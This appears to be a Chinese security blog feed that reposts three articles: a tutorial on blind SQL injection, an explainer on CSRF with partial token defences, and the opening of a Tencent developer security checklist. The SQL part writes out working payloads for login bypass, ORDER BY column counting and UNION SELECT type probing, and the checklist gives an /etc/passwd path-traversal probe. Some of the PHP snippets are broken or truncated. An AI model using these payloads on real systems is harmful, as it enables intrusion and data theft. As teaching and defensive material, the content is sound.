    SQL注入攻击利用的是SQL语法，这使得这种攻击具有广泛性。理论上说，对于所有基于SQL语言标准的数据库软件包括SQL Server，Oracle，MySQL, DB2，Informix等以及与之连接的网络应用程序包括Active/Java Server Pages, Cold Fusion Management, PHP或Perl等都是有效的。当然各种软件有自身的特点，实际的攻击代码可能不尽相同。SQL注入攻击的原理相对简单，且各类基于数据库系统的应用程序被广泛使用，介绍注入漏洞和利用方法的公开出版物也大量问世，造成近年SQL注入攻击的数量一直增长，注入攻击的形式也有被滥用的趋势。

    关于针对MS SQL Server的普通SQL注入技术的详细介绍，可以参考Chris Anley所撰的“SQL Server应用程序中的高级SQL注入”[2]一文和其后续“更多的高级SQL注入”[4]，Cesar Cerrundo所撰的“利用SQL注入操纵Microsoft SQL Server” [5]一文，以及SPI实验室的Kevin Spett撰写的白皮书“SQL注入你的网络应用程序是否会受攻击？” [6]；而针对Oracle的普通SQL注入技术介绍，可以参考Stephen Kost的“针对Oracle开发人员的SQL注入攻击简介”[3]一文。

    1.2 SQL注入攻击的防御手段
由于越来越多的攻击利用了SQL注入技术，也随之产生了很多试图解决注入漏洞的方案。目前被提出的方案有：
(1) 在服务端正式处理之前对提交数据的合法性进行检查；
(2) 封装客户端提交信息；
(3) 替换或删除敏感字符/字符串；
(4) 屏蔽出错信息。

方案(1)被公认是最根本的解决方案，在确认客户端的输入合法之前，服务端拒绝进行关键性的处理操作，不过这需要开发者能够以一种安全的方式来构建网络应用程序，虽然已有大量针对在网络应用程序开发中如何安全地访问数据库的文档出版，但仍然有很多开发者缺乏足够的安全意识，造成开发出的产品中依旧存在注入漏洞；方案(2)的做法需要RDBMS的支持，目前只有Oracle采用该技术；方案(3)则是一种不完全的解决措施，例如，当客户端的输入为 “…ccmdmcmdd…”时,在对敏感字符串“cmd”替换删除以后，剩下的字符正好是“…cmd…”；方案(4)是目前最常被采用的方法，很多安全文档都认为SQL注入攻击需要通过错误信息收集信息，有些甚至声称某些特殊的任务若缺乏详细的错误信息则不能完成，这使很多安全专家形成一种观念，即注入攻击在缺乏详细错误的情况下不能实施。

而实际上，屏蔽错误信息是在服务端处理完毕之后进行补救，攻击其实已经发生，只是企图阻止攻击者知道攻击的结果而已。本文所介绍SQL盲注技术就是一些攻击者使用的新技术，其在错误信息被屏蔽的情况下使攻击者仍能获得所需的信息，并继续实施注入攻击。

    1.3 本文的结构组织
   为了理解盲注攻击，我们首先将介绍确定SQL注入漏洞所需的服务器的最小响应；其次，我们将构造一个合乎语法的SQL请求，并可以将之替换成任何有效的 SQL请求；最后，我们将讨论在没有详细错误信息的情况下如何利用UNION SELECT语句。本文所讨论的盲注攻击的条件是我们在攻击前对网络应用程序、数据库类型、表结构等等信息都一无所知，这些信息都需要在注入的过程中通过探测获得。
    2 确定注入漏洞
    要进行SQL注入攻击，首先当然是确认要攻击的网络应用程序存在注入漏洞，因此攻击者首先必须能确立一些与服务器产生的错误相关的提示类型。尽管错误信息本身已被屏蔽，网络应用程序仍然具有能区分正确请求和错误请求的能力，攻击者只需要学习去识别这些提示，寻找相关错误，并确认其是否和SQL相关。

    2.1 识别错误
    一个网络应用程序主要会产生两种类型的错误，第一种是由Web服务器产生的代码异常(exception)，类似于“500:Internal Server Error”，通常如果SQL注入语句出现语法错误，比如出现未闭合的引号，就会使服务器抛出这类异常。如果要屏蔽该类错误，一般会采用将默认的错误信息替换成一个事先定制的HTML页面，但只要观察到有这种响应出现，就可以确认其实是发生了服务器错误。在其他情况下，为了进一步屏蔽该类错误，有些服务器一出现异常，会简单地跳转到主页面或前一个访问过的页面，或者显示一条简单的错误消息但不提供任何细节。

   第二类错误是由应用程序代码产生的，这代表其开发者有较好的编程习惯。这类应用程序考虑到可能会出现一些无效的情况，并分别为之产生了一个特定的错误信息。尽管出现这类错误一般会返回一个请求有效的响应(200 OK)，但页面仍然会跳转到主页面，或者采用某种隐藏信息的办法，类似于“Internal Server Error”。

    为了区分这两种错误，我们看一个例子：有两个电子商务的应用程序，A和B，两个应用程序都使用同一个叫proddetails.asp的页面，该页面期待获得一个参数，叫ProdID。它获取该参数后，从数据库中提取相应的产品详细信息数据，然后对返回的结果进行一些处理。两个应用程序都是通过一个产品列表页面上的链接调用proddetails.asp，因此能保证ProdID一直都是存在且有效的。应用程序A认为这样就不会出现问题，因此对参数不做额外的检查，而如果攻击者篡改了ProdID，插入了一个在数据表中不存在的id，数据库就会返回一个空记录。由于应用程序A没有料到可能会出现空记录，当它试图去处理该记录中的数据时，就可能会出现异常，产生一个“500:Internal Server Error”。而应用程序B，会在对记录进行处理前确认记录的大小超过0，如果是空记录，则会出现一个错误提示“该产品不存在”，或者开发者为了隐藏该错误，会将页面重新定位到产品的列表页面。

    因此攻击者为了进行SQL盲注，会首先尝试提交一些无效的请求，并观察应用程序如何处理这些错误，以及如果出现SQL错误会发生什么情况。

    2.2 定位错误
    对要攻击的应用程序有了初步的认识后，攻击者会试图定位由人为构造的输入而产生的错误信息。这时，攻击者就会使用标准的SQL注入测试技术，比如添加一些 SQL关键字（如OR，AND等）和一些META字符（如;或’等）。每一个参数都被独立地进行测试，而获得的响应将被检验用来判断是否产生了错误。通过一个拦截代理服务器(intercepting proxy)或者类似的工具可以方便地识别页面跳转和其他一些可预测的隐藏错误，而任何一个返回错误的参数都有可能存在SQL注入漏洞。而在单独测试每个参数过程中，必须保证其他参数都是有效的，因为需要避免除注入以外任何其他可能的原因所导致的错误影响了判断结果。测试的结果一般是一个可疑参数的列表，列表中的一些参数可能的确可以进行注入利用，另外一些参数则可能是由一些SQL无关的错误所造成，因此需要被剔除。攻击者接下来就需要从这些参数中挑选真正存在注入漏洞的参数，我们称之为确定注入点。

    2.3 确定注入点
    SQL字段可以被划分为三个主要类型：数字、字符串和日期。虽然每个类型都有其特点，但却与注入的过程无关。每一个从网络应用程序提交给SQL查询的参数都属于以上三个类型中的一类，其中数字参数被直接提交给服务器，而字符串和日期则需要加上引号才被提交，例如：

SELECT * FROM Products WHERE ProdID = 4
与
SELECT * FROM Products WHERE ProdName = 'Book'

而SQL服务器，并不关心它接受到的是什么类型的参数表达式，只要该表达式是相关的类型即可。而这个特点则使攻击者能够很容易地确认一个错误是否和SQL相关。如果是数字类型，最简单的处理办法是使用基本的算术操作，例如以下请求：
/mysite/proddetails.asp?ProdID=4

测试该参数的一种办法是插入4’作为参数，另一种是使用3+1作为参数，假设这两个参数已直接被提交给SQL请求语句，则将形成以下两个SQL请求语句：
(1) SELECT * FROM Products WHERE ProdID = 4'
(2) SELECT * FROM Products WHERE ProdID = 3 + 1

第一个SQL语法有问题，将一定会产生一个错误，而第二个如果被顺利地执行，返回和最初的请求（即ProdID等于4）一样的产品信息，这就提示该参数是存在注入漏洞的。

类似的技术可以被应用于用一个符合SQL语法的字符串表达式替换该参数，这里有两个区别：第一，字符串表示式是放在引号中的，因此需要阻断引号；第二，不同的SQL服务器连结字符串的语法不同，比如MS SQL Server使用符号+来连结字符串，而Oracle使用符号||来连结。例如以下请求：

/mysite/proddetails.asp?ProdName=Book
要测试该ProdName参数是否有注入漏洞，可以先其替换成一个无效的字符串比如Book’，然后再替换成一个可能生成正确字符串的表达式，比如B’+’ook（对于Oracle，是B’||’ook）。这就会形成以下两个SQL请求语句：
(1) SELECT * FROM Products WHERE ProdName = 'Book''
(2) SELECT * FROM Products WHERE ProdID = 'B' + 'ook'

则第一个仍然可能产生一个SQL错误，而第二个则可能返回和最初的请求一样的值为Book的产品。

我们注意到，即使应用程序已经过滤了’和+等META字符，我们仍然可以在输入时过把字符转换成URL编码（即字符ASCII码的16进制）来绕过检查，例如：

/mysite/proddetails.asp?ProdID=3+1就等于/mysite/proddetails.asp?ProdID=3%2B1
/mysite/proddetails.asp?ProdID=B’+’ook就等于/mysite/proddetails.asp?ProdID=B%27%2B%27ook

类似的，任何表达式都可以用来替换最初的参数。而特殊的系统函数也可以被用来提交以返回一个数字，一个字符串或一个日期，比如Oracle中sysdate 返回一个日期表达式，而在SQL Server中，getdate()会返回日期表达式。其他的技术同样可以被用来判断是否存在SQL注入漏洞。

通过以上介绍可以发现，即使没有详细的错误信息，对于攻击者来说，判断是否存在SQL注入漏洞仍然是一个非常简单的任务。
    3 实施注入攻击
    攻击者在确定注入点后，就要尝试进行注入利用，这需要其能确定符合SQL语法的注入请求表达式，判断出后台数据库的类型，然后构造出所需的利用代码。

    3.1 确定正确的注入句法
这是SQL盲注攻击中最难也最有技巧的步骤，如果最初的SQL请求语句很简单，那么确定正确的注入语法也相对容易，而如果最初的SQL请求语句较复杂，那么要想突破其限制就需要多次的尝试，但进行这些尝试所需要的基本技术却是非常简单。

    确定基本的句法的过程即通过标准的SELECT … WHERE语句，被注入的参数（即注入点）就是WHERE语句的一部分。为了确定正确的注入句法，攻击者必须能够在最初的WHERE语句后添加其他数据，使其能返回非预期的结果。对一些简单的应用程序，仅仅加上OR 1=1就可以完成，但在大多数情况下如果想构造出成功的利用代码，这样做当然是不够的。经常需要解决的问题是如何配对插入语符号（parenthesis，比如成对的括号），使之能与前面的已使用的符号，比如左括号匹配。另外常见的问题是一个被篡改的请求语句可能会导致应用程序产生其他错误，这个错误往往难于和一个SQL错误相区分，比如应用程序一次如果只能处理一个记录，在请求语句后添加OR 1=1可能使数据库返回1000条记录，这时就会产生错误。由于WHERE语句本质上是一串通过OR、AND或插入语符号连接起来的值为TRUE或 FALSE的表达式，因此要想确定正确的注入句法，关键就在于能否成功地突破插入语符号限制并能顺利地结束请求语句，这就需要进行多次组合测试。例如，添加AND 1=2能将整个表达式的值变为FALSE，而添加OR 1=2则不会对整个表达式的值产生影响（除非操作符有优先级）。

对于一些注入利用，仅仅改变WHERE语句就足够了，但对于其他情况，比如UNION SELECT注入或存储过程（stored procedures）注入，还需要能先顺利地结束整个SQL请求语句，然后才能添加其他攻击者所需要的SQL语句。在这种情况下，攻击者可以选择使用 SQL注释符号来结束语句，该符号是两个连续的破折号（--），它要求SQL Server忽略其后同一行的所有输入。例如，一个登录页面需要访问者输入用户名和密码，并将其提交给SQL请求语句：
SELECT Username, UserID, Password FROM Users WHERE Username = ‘user’ AND Password = ‘pass’

通过输入john’--作为用户名，将会构造出以下WHERE语句：

WHERE Username = ‘john’ --'AND Password = ‘pass’

这时，该语句不但符合SQL语法，而且还使用户跳过了密码认证。但是如果是另外一种WHERE语句：

WHERE (Username = ‘user’ AND Password = ‘pass’)

注意到这里出现了插入语符号，这时再使用john’--作为用户名，请求语句就会错误：

WHERE (Username = ‘john' --' AND Password = ‘pass’)

这是因为有未配对的插入语符号，请求语句就不会被执行。

这个例子显示出使用注释符号能够用来判断请求语句是否被顺利地结束了，如果添加了注释符号且没有产生错误，这就意味着注释符号前的语句已经顺利地被结束。如果出现了错误，这就需要攻击者进行更多的请求尝试。

    3.2 判断数据库类型
    攻击者一旦确定了正确的注入句法后，就会开始利用注入去判断后台数据库的类型，这个步骤比确定注入句法要简单得多。攻击者一般会使用以下几种技巧，这些技巧是基于不同类型数据库引擎在具体实现上的差异。下面只介绍如何区分Oracle和MS SQL Server：

最简单的办法，就是前面提到的利用字符串的连结符号，在注入句法已经确定的情况下，攻击者可以对WHERE语句自由地添加额外的表达式，那么就可以利用字符串的比较来区分数据库，例如：

AND 'xxx' = 'x' + 'xx' （或者 AND %27xxx%27+%3D+%27x%27+%2B+%27xx%27）
通过将+替换成||，就可以判断出是数据库是Oracle还是MS SQL Server，或者是其他类型。

其他的办法是利用分号字符（即；），在SQL中，分号是用来将几个SQL语句连接在同一行中。在注入时，也可以在注入代码中使用分号，但Oracle驱动程序却不允许这样使用分号。假设在前面使用注释符号时没有出现错误，那么在注释符号前加上分号对MS SQL Server是没有影响的，但如果是Oracle就会产生错误。另外，还可以使用COMMIT语句来确认是否允许在分号后再执行其他语句(例如，注入语句 xxx' ; COMMIT --)，如果没有出现错误就可以认为允许多句执行。

最后，表达式还可以被替换成能返回正确值的系统函数，由于不同类型的数据库使用的系统函数也是不同的，因此也可以通过使用系统函数来确定数据库类型，比如2.3节提到的MS SQL Server的日期函数getdate()与Oracle的sysdate.

    3.3 构造注入利用代码
当所有相关的信息都已获得后，攻击者就可以开始进行注入利用，而且在构造注入利用代码过程中也不再需要详细的错误信息，构造利用代码本身可以参考其他描述标准SQL注入攻击的文档。

由于对于普通的SQL注入利用，已经有很多其他论文进行了详细的讨论，故本文只会在下一节介绍一种UNION SELECT注入。
    4 UNION SELECT注入
    尽管通过篡改SELECT…WHERE语句来注入对于很多应用程序非常有效，但在盲注情况下，攻击者仍然愿意使用UNION SELECT语句，这是因为与WHERE语句所进行的操作不同，使用UNION SELECT可以让攻击者在没有错误信息的情况下依然能访问数据库中所有表。

    进行UNION SELECT注入需要预先获知数据库的表中的字段个数和类型，而这些信息一般被认为在没有详细错误信息的提示下是不可能获得的，但本文下面就将给出解决该问题的方法。

    另外需要注意的是，进行UNION SELECT的前提是攻击者已经确定了正确的注入句法，本文的前面一节已经阐明了这在盲注条件下是可以实现的，而且在使用UNION SELECT语句之前，SQL语句中所有的插入语符号都应该已经完成配对，从而可以自由地使用UNION或者其它指令进行注入。UNION SELECT还要求当前语句和最初的语句查询的信息必须具有相同的数和相同的数据类型，不然就会出错。

    4.1 统计列数
    当错误信息没有被屏蔽时，要获取列数只需要在进行UNION SELECT注入时每次尝试使用不同的字段数即可，当错误信息由“列数不匹配”变成“列的类型不匹配”时，当前尝试的列数就是正确的。但在盲注条件下，由于我们对无法获悉错误信息究竟是哪个，所以该方法也就失去了作用。

   新的办法是利用ORDER BY语句，在SELECT语句最后加上ORDER BY能够改变返回的记录集的次序，一般是按一个指定的列名的值进行排序。例如，当通过产品号查询产品时，一个有效的注入语句如下：

SELECT ProdNum FROM Products WHERE (ProdID=1234) ORDER BY ProdNum --
AND ProdName=’Computer’) AND UserName=’john’

    人们往往会忽略的是ORDER BY语句后还可以使用数字指代列名，在上例中如果ProdNum是查询请求返回的记录中的第一列，则注入1234) ORDER BY 1--返回的结果是一样的。由于上例查询请求只返回一个字段，注入1234) ORDER BY 2 --就会出错，即返回的记录无法按指定的第二个字段排序。这样，ORDER BY就可以被利用来对列数进行统计了。由于每个SELECT语句都至少返回一个字段，故攻击者可以先在注入句法中添加ORDER BY 1来确定语句是否能被正确执行，有时对字段的排序也可能会产生错误，这时添加关键字ASC或DESC可以解决该问题。一旦确定ORDER BY句法是有效的，攻击者就会对排序列号从列1到列100进行遍历（或者到列1000，直到列号被确定为无效），理论上当出现第一个错误时，前一个列号就是要统计的列数，但在实际情况中，有些字段可能不允许排序，那么在出现第一次错误时可以再多尝试一到两个数字，以确认列号已遍历完。

    4.2 判断列的数据类型
    在统计完列数后，攻击者需要再判断列的数据类型，在盲注情况下判断类型也是有技巧的，由于UNION SELECT要求前后查询语句查询的字段类型相同，故如果字段数有限，可以简单地利用UNION SELECT语句对字段类型进行暴力穷举(brute force)，但如果字段数较多，判断就会出现问题。根据前文，字段的类型只有数字、字符串和日期三种可能的类型，一旦字段数有10个，那么就意味着有 310（约60，000）种可能的组合，假设每一秒可以自动进行20次尝试，穷举一遍也需要近一个小时，如果字段数更多，那么测试所需时间就会令人难以忍受。

    一种简单的办法是利用SQL的关键字NULL，与静态字段的注入需要区分是数字类型还是字符类型不同，NULL可以匹配任何一种数据类型。因此可以注入一个所有查询字段都为NULL的UNION SELECT语句，那么就不会出现任何类型不匹配的错误。让我们再举一个与前面类似的例子：

SELECT ProdNum,ProdType,ProdPrice,ProdProvider FROM Products
WHERE (ProdID=1234 AND ProdName=’ Computer’) AND UserName=’john’

    假设攻击者已经获得了列数（在该例中为4），那么就可以很简单地构造一个UNION SELECT语句，其中所有查询字段都为NULL，还需要构造一个不会产生权限问题的FROM语句。对于MS SQL Server，即使忽略FROM语句也不会出错，但对于Oracle，则可以使用一个名叫dual的表。最后，还需要一个值一定为FALSE的WHERE 语句（比如WHERE 1=2），这是为了确保查询不会返回只包含null值的记录集，以杜绝产生其他可能的错误。那么针对MS SQL Server的注入语句如下：

SELECT ProdNum,ProdType,ProdPrice,ProdProvider FROM Products
WHERE (ProdID=1234) UNION SELECT NULL,NULL,NULL,NULL
WHERE 1=2 -- AND ProdName=’ Computer’) AND UserName=’john’

    这个NULL注入语句有两个目的，主要目的是构造一个不会产生任何错误的UNION SELECT语句以测试UNION语句是否可以被执行，另一个目的是为了对数据库类型的判断进行100%确认（可以通过在FROM语句里添加一个数据库开发商预置的表名进行测试）。

    如果NULL注入语句被顺利执行，那么就可以快速地对每个列的类型进行判断。在每一轮尝试中，只对一个字段类型进行测试，由于类型只有三类，所以每个字段最多被测试三次就会有结果，这样尝试的次数最多是列数的三倍，而不是以3为底数以列数为指数的次数。假设ProdNum属于数字类型，其它三个字段都属于字符串类型，那么以下顺序的注入语句就可以判断出正确的类型：

• 1234) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 --
无错句法正确，使用的是MS SQL Server数据库
• 1234) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 --
无错第一个字段是数字类型
• 1234) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
出错第二个字段不是数字类型
• 1234) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 --
无错第二个字段是字符串类型
• 1234) UNION SELECT 1,’2’,3,NULL WHERE 1=2 --
出错第三个字段不是数字类型
• 1234) UNION SELECT 1,’2’,’3’,NULL WHERE 1=2 --
无错第三个字段是字符串类型
• 1234) UNION SELECT 1,’2’,’3’,4 WHERE 1=2 --
出错第四个字段不是数字类型
• 1234) UNION SELECT 1,’2’,’3’,’4’ WHERE 1=2 --
无错第四个字段是字符串类型
攻击者现在就已经获得了每一列的数据类型，盲注还可以被应用于从数据库的表中获取数据，比如获得数据表的列表以及它们各自的列名，还可以从应用程序中获得数据，而这些技术在其他一些关于SQL注入的论文中已经有讨论，故本文不再继续介绍。

大话人生 2014-09-04 19:46 发表评论

浅谈CSRF攻击方式

大话人生 — Fri, 03 Jan 2014 17:11:00 GMT

一.CSRF是什么？

　　CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF。

二.CSRF可以做什么？

三.CSRF漏洞现状

四.CSRF的原理

　　下图简单阐述了CSRF攻击的思想：

　　从上图可以看出，要完成一次CSRF攻击，受害者必须依次完成两个步骤：

　　1.登录受信任网站A，并在本地生成Cookie。

　　2.在不登出A的情况下，访问危险网站B。

　　看到这里，你也许会说：“如果我不满足以上两个条件中的一个，我就不会受到CSRF的攻击”。是的，确实如此，但你不能保证以下情况不会发生：

　　1.你不能保证你登录了一个网站后，不再打开一个tab页面并访问另外的网站。

　　3.上图中所谓的攻击网站，可能是一个存在其他漏洞的可信任的经常被人访问的网站。

　　示例1：

　　银行网站A，它以GET请求来完成银行转账的操作，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000

　　危险网站B，它里面有一段HTML的代码如下：

　　首先，你登录了银行网站A，然后访问危险网站B，噢，这时你会发现你的银行账户少了1000块......

　　示例2：

　　为了杜绝上面的问题，银行决定改用POST请求完成转账操作。

　　银行网站A的WEB表单如下：　　

　　后台处理页面Transfer.php如下：

　　危险网站B，仍然只是包含那句HTML代码：

　　示例3：

　　经过前面2个惨痛的教训，银行决定把获取请求数据的方法也改了，改用$_POST，只获取POST请求的数据，后台处理页面Transfer.php代码如下：

　　然而，危险网站B与时俱进，它改了一下代码：

如果用户仍是继续上面的操作，很不幸，结果将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行!

五.CSRF的防御

　　我总结了一下看到的资料，CSRF的防御可以从服务端和客户端两方面着手，防御效果是从服务端着手效果比较好，现在一般的CSRF防御也都在服务端进行。

　　1.服务端进行CSRF防御

　　服务端的CSRF方式方法很多样，但总的思想都是一致的，就是在客户端页面增加伪随机数。

　　(1).Cookie Hashing(所有表单都包含同一个伪随机值)：

　　这可能是最简单的解决方案了，因为攻击者不能获得第三方的Cookie(理论上)，所以表单中的数据也就构造失败了:>

　　php
　　　　//构造加密的Cookie信息
　　　　$value = “DefenseSCRF”;
　　　　setcookie(”cookie”, $value, time()+3600);
　　?>

　　在表单里增加Hash值，以认证这确实是用户发送的请求。

　　然后在服务器端进行Hash值验证

　　(3).One-Time Tokens(不同的表单包含一个不同的伪随机值)

　　以下我的实现:

　　1).先是令牌生成函数(gen_token())：

　　2).然后是Session令牌生成函数(gen_stoken())：

　　3).WEB表单生成隐藏输入域的函数：　　

     　　     function gen_input() {
     　　     gen_stoken();
　　          echo “          　　     value=\”" . $_SESSION[STOKEN_NAME] . “\”> “;
     　　}
     ?>

　　4).WEB表单结构：

　　5).服务端核对令牌：

　　这个很简单，这里就不再啰嗦了。

　　上面这个其实不完全符合“并行会话的兼容”的规则，大家可以在此基础上修改。

　　其实还有很多想写，无奈精力有限，暂且打住，日后补充，如果错漏，请指出:>

　　PS：今天下午写这篇文档的时候FF崩溃了一次，写了一半文章的全没了，郁闷好久T_T.......

　　转载请说明出处，谢谢[hyddd(http://www.cnblogs.com/hyddd/)]

大话人生 2014-01-04 01:11 发表评论

第三方应用开发安全规范

大话人生 — Thu, 12 Dec 2013 02:50:00 GMT

You are here: Home / Tools / 第三方应用开发安全规范

第三方应用开发安全规范

十一月 26, 2011 by Eugene · Leave a Comment

特别提示：
1. 安全漏洞测试checklist中出现的安全漏洞相关的术语解释，检测方法以及修复方案，将在下面的章节中进行详细描述。
2. 第三方应用测试人员必须按照下列checklist进行安全漏洞检查。
3. 第三方应用提交上线申请后，腾讯后台将对应用进行安全扫描，如果发现漏洞，将发邮件以及告警短信通知第三方进行修改，直至没有安全漏洞后才能上线。因此遵守该checklist才能让您的应用尽快上线。
此外，如果上线内测区以后，仍然多次被扫描出安全漏洞，腾讯将根据中关于安全的有关规定，对应用进行相应的处理。

1 1 安全漏洞测试checklist
2 2 安全漏洞危害等级评定标准
3 3 系统应用程序漏洞定义，检测方法及修复方案
- 3.1 3.1 Apache
  - 3.1.1 3.1.1 UserDir漏洞
  - 3.1.2 3.1.2 目录浏览漏洞
  - 3.1.3 3.1.3 默认页面泄漏漏洞
- 3.2 3.2 QHTTP或者其他Web Server
  - 3.2.1 3.2.1 404页面XSS漏洞
  - 3.2.2 3.2.2 任意文件读取漏洞
- 3.3 3.3 Tomcat
  - 3.3.1 3.3.1 Tomcat默认管理后台漏洞
  - 3.3.2 3.3.2 Tomcat默认页面泄漏漏洞
- 3.4 3.4 Nginx
  - 3.4.1 3.4.1 远程溢出漏洞
  - 3.4.2 3.4.2 目录浏览漏洞
- 3.5 3.5 MySQL
  - 3.5.1 3.5.1 空口令/弱口令漏洞
- 3.6 3.6 FTP
  - 3.6.1 3.6.1 FTP匿名登录漏洞
- 3.7 3.7 Oracle
  - 3.7.1 3.7.1 空口令漏洞
- 3.8 3.8 PHPMyAdmin
  - 3.8.1 3.8.1 空口令漏洞
- 3.9 3.9 Linux
  - 3.9.1 3.9.1 默认口令漏洞
  - 3.9.2 3.9.2 Samba任意用户访问漏洞
  - 3.9.3 3.9.3 高危端口/服务开放漏洞
4 4 Web应用程序漏洞
- 4.1 4.1 注入漏洞
  - 4.1.1 4.1.1 SQL注入漏洞
  - 4.1.2 4.1.2 XSS漏洞
  - 4.1.3 4.1.3 命令注入漏洞
  - 4.1.4 4.1.4 HTTP响应头注入漏洞
  - 4.1.5 4.1.5 跳转漏洞
  - 4.1.6 4.1.6 XML注入漏洞
- 4.2 4.2 信息泄漏漏洞
  - 4.2.1 4.2.1 HPInfo()信息泄漏漏洞
  - 4.2.2 4.2.2 测试页面泄漏在外网漏洞
  - 4.2.3 4.2.3 备份文件泄漏在外网漏洞
  - 4.2.4 4.2.4 版本管理工具文件信息泄漏漏洞
  - 4.2.5 4.2.5 HTTP认证泄漏漏洞
  - 4.2.6 4.2.6 管理后台泄漏漏洞
  - 4.2.7 4.2.7 泄漏员工电子邮箱漏洞以及分机号码
  - 4.2.8 4.2.7 错误详情泄漏漏洞
- 4.3 4.3 请求伪造漏洞
  - 4.3.1 4.3.1 CSRF漏洞
  - 4.3.2 4.3.2 JSON-hijackin漏洞
- 4.4 4.4 权限控制漏洞
  - 4.4.1 4.4.1 文件上传漏洞
  - 4.4.2 4.4.2 crossdomain.xml配置不当漏洞
  - 4.4.3 4.4.3 flash标签配置不当漏洞
  - 4.4.4 4.4.4 embed标签配置不当漏洞
  - 4.4.5 4.4.5 并发漏洞
  - 4.4.6 4.4.6 Cookie安全性漏洞
  - 4.4.7 4.4.7 Frame-proxy攻击漏洞

1 安全漏洞测试checklist

NO	检查点
1	严禁在自己系统处理用户Login，必须使用腾讯公司统一提供的登录接口或者参数openid/openkey登录。获取到openid/openkey后必须进行校验才能使用，校验规则请见这里。
2	严禁增/删/改防火墙iptables，私自开通高危端口。
3	检查Flash跨域策略文件crossdomain.xml是否合法。
4	检查是否有CSRF漏洞。
5	信息泄露漏洞安全性检查（例如test.cgi、phpinfo.php、info.pho、.svn/entries、HTTP认证泄漏漏洞、管理后台泄漏漏洞、内网信息泄漏漏洞、错误详情信息泄漏等）。
6	检查是否有XSS漏洞（不合法的参数不能在页面原样返回，特别是openid/openkey）
7	检查是否泄漏后台默认文件漏洞
8	检查Flash跨域策略文件的安全性。避免Flash注入javascript或者actionscript脚本在浏览器或者flash中执行跨站攻击。
9	Cookie安全性检查。
10	检查是否有跳转漏洞。
11	检查是否有Header注入漏洞。
12	检查是否有源代码泄漏漏洞。
13	检查是否有Frame-proxy攻击漏洞。
14	检查是否有SQL注入攻击漏洞。
15	检查是否有并发漏洞。
16	敏感信息检查。应用需要对可能造成腾讯公司公关、媒体危机的敏感内容，以及用户生成内容（UGC，由用户发表的言论）进行检查和过滤。敏感词过滤必须采用腾讯公司提供的敏感词过滤接口/security/word filter。
17	检查通过WEB页面发起的临时会话窗口的所有显示内容。
18	目录浏览漏洞安全性检查
19	检查是否泄漏员工电子邮箱漏洞以及分机号码。

2 安全漏洞危害等级评定标准

安全漏洞危害等级评分方法：
1. 对“潜在危险”“可重现性”“可利用性”“影响用户”“可发现性”这5项，根据高、中、低标准进行打分（分别是3，2，1分）；
2. 然后5项得分累加即得总分。 3. 如果总分是 5-7 分，则是低风险； 8-11分，则是中等风险；12-15分，则是高风险。

评分标准如下：

	高（3分）	中（2分）	低（1分）
潜在危险	黑客可获取完全验证权限，执行管理员操作，非法上传文件	泄漏了敏感信息	泄漏其它信息
可重现性	攻击者可以以随意再次攻击	攻击者可以重复攻击，但是有时间限制	攻击者很难重复攻击过程
可利用性	初学者在短期内可以掌握攻击方法	熟练的攻击者才能完成攻击	漏洞利用条件非常苛刻
影响用户	所有用户，关键用户	部分用户	极少数用户，匿名用户
可发现性	漏洞很明显，攻击条件很容易获取	有私有区域，部分人可以看到，需要深入挖掘才能发现漏洞	发现漏洞极其困难

3 系统应用程序漏洞定义，检测方法及修复方案

系统应用程序指运行在操作系统之上的应用程序，包括操作系统本身及APP（例如Apache、Nginx、MySQL）。
对于部署在腾讯服务器上的第三方APP，腾讯后台将对机器进行安全漏洞扫描，可检测出包括Apache、Nginx、MySQL等的常见安全漏洞。

3.1 Apache

3.1.1 UserDir漏洞

名称：Apache UserDir 漏洞

描述：早期版本的Apache默认会开启UserDir，这个无关功能会泄漏主机的账户名，也可能由于配置不当导致敏感文件被下载。

检测方法：在浏览器里输入http://ip/~root ，若目录存在（即HTTP状态码返回403），则说明UserDir开启。
如下图所示：

修复方案：
1. 在Apache配置文件中取消UserDir，可能遇到的两种情况：
（1）注释掉以下三行，然后重启Apache：

（2）如果配置文件中没有上图中所示的三行，则添加（或修改）一行配置：UserDir disable，然后重启Apache
2. 升级到高版本的Apache（2.1.4及以上版本默认不开启UserDir）

3.1.2 目录浏览漏洞

名称：Apache 目录浏览漏洞

描述：Apache默认配置时允许目录浏览。如果目录下没有索引文件，则会出现目录浏览，导致文件信息泄漏。

检测方法：直接访问目录，如果能看到目录下的文件信息，则说明存在目录浏览漏洞。
修复方案：
在Apache配置文件中，将目录配置中的“Indexes”删除，或者改为“-Indexes”，如下图所示：

3.1.3 默认页面泄漏漏洞

名称：Apache 默认页面泄漏漏洞

描述：Apache在安装后存在默认目录/icons/、/manual/

检测方法：在浏览器里输入http://IP/icons/，http://IP/manual/，如果能访问，则说明存在默认页面泄漏漏洞。
如下图所示：

修复方案：
1. 对于Apache2，注释掉Apache配置文件中的目录配置中的以下两行：

Alias /icons/ “/usr/share/apache2/icons/”
AliasMatch ^/manual(?:/(?:de|en|es|fr|ja|ko|ru))?(/.*)?$ “/usr/share/apache2/manual$1″

2. 或者删除配置文件中的icons、manual两个目录。

3.2 QHTTP或者其他Web Server

3.2.1 404页面XSS漏洞

名称：QHTTP 404 页面XSS漏洞

描述：低版本的QHTTP在返回404页面时，未对URL进行编码，导致出现XSS漏洞。

检测方法：在浏览器里输入http://ip/xxx.xxx?a= ，若出现如下弹框，则说明存在XSS漏洞。

修复方案：升级QHTTP到2.1及以上版本。升级版本可能带来性能问题，开发人员需要进行相关的性能测试。

3.2.2 任意文件读取漏洞

名称：任意文件读取漏洞

描述：低版本的Web Server在处理请求时存在漏洞，会泄漏服务器上任意文件内容。

检测方法：在浏览器里输入http://ip/../../../../../etc/passwd，如果能访问，则说明存在任意文件读取漏洞。
修复方案：如果使用QHTTP，请升级QHTTP到2.1及以上版本。升级版本可能带来性能问题，开发人员需要进行相关的性能测试。

3.3 Tomcat

3.3.1 Tomcat默认管理后台漏洞

名称：Tomcat默认管理后台漏洞

描述：Tomcat在安装后默认能访问到后台管理登录页面。

检测方法：在浏览器里输入http://ip/manager/html ，若出现如下弹框，则说明存在Tomcat默认管理后台漏洞。

修复方案：删除tomcat安装目录下webapps下的manager目录。

3.3.2 Tomcat默认页面泄漏漏洞

名称：Tomcat默认页面泄漏漏洞

